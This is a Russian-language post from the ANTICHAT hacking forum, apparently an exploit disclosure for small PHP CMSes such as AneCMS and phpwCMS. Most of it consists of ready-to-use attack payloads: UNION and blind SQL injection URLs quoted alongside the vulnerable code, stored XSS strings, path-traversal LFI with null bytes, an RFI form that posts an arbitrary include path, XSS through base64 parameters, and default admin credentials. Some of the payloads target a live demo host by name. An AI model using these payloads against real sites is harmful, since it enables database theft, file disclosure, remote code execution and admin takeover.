ANTICHAT — форум по информационной безопасности, OSINT и технологиям

SQL injection
file : index.php
mq = off

Код:

http://x60unu/index.php?month=4&year=2007'+and+0+union+all+select+version(),version(),3,4,5,6,7,8--+

Код:

http://x60unu/index.php?cat=General'+and+0+union+all+select+1,2,3,4,5,6,7,8--+

Код:

http://x60unu/index.php?when=March%206,%202007'+and+0+union+all+select+1,2,3,4,5,6,7,8--+

SQL in Admin Panel
file : blogroll.php

PHP код:

case 'edit' :
    
            $sqledit= "SELECT * FROM ". $prefix ."_blogroll WHERE id=$id";
            $resultedit = db_query($dbname,$sqledit);
            $editvalues = mysql_fetch_array($resultedit); 


result :

Код:

http://x60unu/blogroll.php?mode=edit&id=1+and+0+union+all+select+1,2,3--+

blind sql

PHP код:

$sqldelete= "DELETE FROM ". $prefix ."_blogroll where id=$id";
            $resultdelete = db_query($dbname,$sqldelete); 


result :

Код:

http://x60unu/blogroll.php?mode=delete&id=1[blind sql]

file : category.php

PHP код:

            $sqledit= "SELECT * FROM ". $prefix ."_cat WHERE id=$id";
            $resultedit = db_query($dbname,$sqledit);
            $editvalues = mysql_fetch_array($resultedit); 


result:

Код:

http://x60unu/category.php?mode=edit&id=1+and+0+union+all+select+1,2--+

blind sql

PHP код:

sqldelete= "DELETE FROM ". $prefix ."_cat where id=$id";
            $resultdelete = db_query($dbname,$sqldelete) 


result :

Код:

http://x60unu/category.php?mode=delete&id=1[blind sql]

file : links.php

PHP код:

            $sqledit= "SELECT * FROM ". $prefix ."_links WHERE id=$id";
            $resultedit = db_query($dbname,$sqledit);
            $editvalues = mysql_fetch_array($resultedit); 


result :

Код:

http://x60unu/links.php?mode=edit&id=1+and+0+union+all+select+1,2,3--+

blind sql

PHP код:

$sqldelete= "DELETE FROM ". $prefix ."_links where id=$id";
            $resultdelete = db_query($dbname,$sqldelete); 


Код:

http://x60unu/links.php?mode=delete&id=1[blind sql]

Active Xss
comments --- text comments --- "><script>alert();</script>

Blind SQL injection

Код:

http://demo.anecms.com/blog/delete/1/1/**/and/**/1=(SELECT/**/*/**/FROM(SELECT/**/*/**/FROM(SELECT/**/NAME_CONST((version()),14)d)/**/as/**/t/**/JOIN/**/(SELECT/**/NAME_CONST((version()),14)e)b)a)/

Active XSS
comments blog news - "><script>alert();</script>

Код:

http://anecms.com/blog/5/Template_Engine_and_cleaning_time

LFI
rss.php

PHP код:

if(isset($_GET['module']))
    include './modules/'.$_GET['module'].'/rss.php'; 


Код:

http://x60unu/rss.php?module=../[file]%00

Admin panel

PHP код:

  include './pages/'.$_GET['p'].'.php'; 


Код:

http://demo.anecms.com/acp/?p=lfi

Код:

http://x60unu/acp/index.php?p=../../[file]%00

Путь

Код:

http://demo.anecms.com/register/next

Скачано отсюдо!

XSS + HPP
/image_zoom.php

Код:

..if(empty($_GET["show"])) {

	$width_height = '';
	$img = "img/leer.gif";
	
} else {

	$img 						= base64_decode($_GET["show"]);
	list($img, $width_height)	= explode('?', $img);
	$img 						= str_replace(array('http://', 'https://', 'ftp://'), '', $img);
	$img						= strip_tags($img);
	$width_height				= strip_tags($width_height);
	$img = PHPWCMS_IMAGES.urlencode($img);...

Код:

...<a href="#" title="Close PopUp" onclick="window.close();return false;"><img src="<?php echo $img ?>" alt="" border="0" <?php echo $width_height ?> /></a>...

Result:
1) формируем код, example: адрес_рисунка?onmouseover=alert(1)
2) переводим в base64 - MDRANUFfQDhBQz06MD9vbm1vdXNlb3Zlcj1hbGVydCgxKQ==
3) тулим эту строку гетом в show.

ps админка - /login.php
По умолчанию:
логин - admin;
пасс - phpwcms (md5).

Продолжение поста [x60]unu.
RFI
ajax.php!

PHP код:

<?php
include './system/pages/essential.php';
if(isset($_POST['p']))
    include $_POST['p'];
?>

Условие:
allow_url_include = On

Експлуатация:

Код HTML:

<form method="POST" action="http://localhost/anecms/ajax.php">
<input type="text" name="p" />
<input type="submit" /></form>